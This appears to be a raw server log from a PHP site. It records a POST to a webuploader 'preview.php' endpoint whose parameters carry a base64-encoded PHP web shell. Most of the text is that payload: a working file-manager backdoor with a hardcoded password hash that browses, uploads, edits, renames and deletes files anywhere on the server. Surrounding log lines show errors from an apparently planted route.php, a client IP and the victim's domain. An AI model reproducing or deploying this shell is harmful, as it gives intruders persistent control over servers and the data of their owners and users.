YnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:39+08:00 ] 119.42.146.234 POST 51tianwei.com/Data/editor/webuploader/0.1.5/server/preview.php [运行时间:0.002636s] [吞吐率:379.37req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCg